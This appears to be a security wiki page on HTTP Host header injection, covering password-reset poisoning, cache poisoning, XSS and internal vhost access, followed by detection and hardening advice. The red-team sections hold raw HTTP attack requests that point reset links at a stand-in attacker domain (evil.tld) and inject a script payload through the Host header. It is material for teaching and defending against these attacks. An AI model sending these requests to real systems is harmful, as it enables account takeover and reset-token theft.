Host header injection
Many apps use the Host header (or X-Forwarded-Host) to build absolute URLs: email
links, resources, redirects, canonicals. If they trust it without validation, the
attacker manipulates it to poison password-reset links, the cache, cause SSRF or reach
internal vhosts. The Host value is set by the client, so it’s untrusted input: the
invariant broken is “the host that builds the link is the host the victim asked for”.
flowchart LR
A[Attacker] -->|"POST /forgot-password with Host: evil.tld"| S[Reset app]
S -->|"builds link with the received Host"| M["Email to victim:<br/>https://evil.tld/reset?token=..."]
M -->|"victim clicks"| E[Attacker server]
E -->|"captures the reset token"| A2[Attacker → ATO]
Threat model
Section titled “Threat model”- Password reset poisoning: the reset link points to the attacker’s domain → the victim
clicks → the token leaks via
Referer/the request to the attacker domain → ATO. - Web cache poisoning (if
Host/X-Forwarded-Hostenters the cached response; see cache). - SSRF / routing: reach internal vhosts or panels by name (see SSRF).
- Information leakage and bypass of host-based controls.
Anatomy
Section titled “Anatomy”The server generates, say, the reset link with https://<Host>/reset?token=.... If the
framework takes the Host (or a proxy header like X-Forwarded-Host) to form that URL,
controlling the header is controlling the link’s domain. The token is still the victim’s
(the server generates it for her account), but it travels to the attacker’s domain when
she clicks the link or when her browser sends the Referer.
Injection variants
Section titled “Injection variants”- Change
Host:directly. - Add
X-Forwarded-Host: evil.tld(many frameworks prioritize it overHost). - Other proxy headers:
X-Host,X-Forwarded-Server,Forwarded. - Double
HostorHost: victim.tld:@evil.tld/Host: victim.tld\n Host: evil.tlddepending on how the server parses. - Injected port:
Host: victim.tld:badport(sometimes reflected verbatim). - Dangling markup via
Hostwhen reflected unescaped in the page.
Red Team
Section titled “Red Team”Discovery
Section titled “Discovery”Try changing Host and adding forwarding headers on endpoints that generate links or
reflect the host. Password reset is the classic target.
Exploitation — password reset poisoning
Section titled “Exploitation — password reset poisoning”POST /forgot-password HTTP/1.1Host: evil.tldContent-Type: application/x-www-form-urlencoded
email=victim@tld.comIf the framework honors Host, the email the victim receives links to
https://evil.tld/reset?token=VICTIM_TOKEN. If it validates Host but trusts the proxy,
try keeping the real Host and adding the forwarding header:
POST /forgot-password HTTP/1.1Host: victim.tldX-Forwarded-Host: evil.tldContent-Type: application/x-www-form-urlencoded
email=victim@tld.comHost reflection (cache poisoning / XSS)
Section titled “Host reflection (cache poisoning / XSS)”GET / HTTP/1.1Host: evil.tld"><script>alert(document.domain)</script>If evil.tld (or the markup) appears in the response —in a link, a <base href> or a
script—, it can lead to XSS or, if the response is cached with Host as an incorrect key,
to cache poisoning.
Internal vhost access
Section titled “Internal vhost access”GET / HTTP/1.1Host: internal-adminIf the reverse proxy routes by Host, an internal name can expose a panel not meant for
the Internet.
Researcher workflow
Section titled “Researcher workflow”- Locate endpoints that generate links (reset, invitations, email verification).
- Inject controlled
Host/X-Forwarded-Hostand retrieve the test email. - Check whether the link uses your domain → poisoning PoC.
- In parallel, test host reflection (cache/XSS) and routing to vhosts.
Tooling
Section titled “Tooling”Burp Suite (modify Host/X-Forwarded-Host in Repeater), Param Miner to discover
unkeyed headers the back-end still honors.
Impact and chaining
Section titled “Impact and chaining”Password reset poisoning is direct ATO. Host reflection chains with cache poisoning and XSS; host routing, with access to internal panels.
Blue Team
Section titled “Blue Team”Detection
Section titled “Detection”Requests with Host/X-Forwarded-Host that don’t match expected domains; reset links
to external domains; duplicate Host headers; reset spikes with anomalous hosts.
Telemetry and sources
Section titled “Telemetry and sources”Reverse-proxy/WAF logs with Host and X-Forwarded-* headers, app logs with the generated
URL, and the edge cache-key configuration.
Hardening
Section titled “Hardening”- Don’t build URLs with the request
Host. Use a configured canonical domain. - Allow-list valid hosts; reject (400) requests with an unexpected
Host(in Django,ALLOWED_HOSTS). - Ignore
X-Forwarded-Hostunless it comes from a controlled trusted proxy. - For reset, generate the link with the canonical domain, never the received
Host.
Response
Section titled “Response”Invalidate potentially leaked reset tokens, fix link generation, and review poisoned caches.
CVEs and real-world cases
Section titled “CVEs and real-world cases”- Password reset poisoning via host header has affected multiple frameworks and apps (popular CMS and custom applications); a bug-bounty classic with ATO impact from reset-token theft. The reference research is “Practical HTTP Host header attacks” by James Kettle (PortSwigger).
- Several platforms have suffered cache poisoning through
X-Forwarded-Host; it’s why frameworks like Django introducedALLOWED_HOSTS.
Product-specific CVEs/incidents in NVD (https://nvd.nist.gov/vuln/search) and GitHub Advisories (https://github.com/advisories).
Testing checklist
Section titled “Testing checklist”- Changing
Hostand addingX-Forwarded-Host/X-Hoston reset tested. - Confirmed whether the email link uses the injected host.
-
Hostreflection in the response tested (cache/XSS). - Variants tested (double
Host,@, port) depending on the parser. - Internal vhost access / routing evaluated.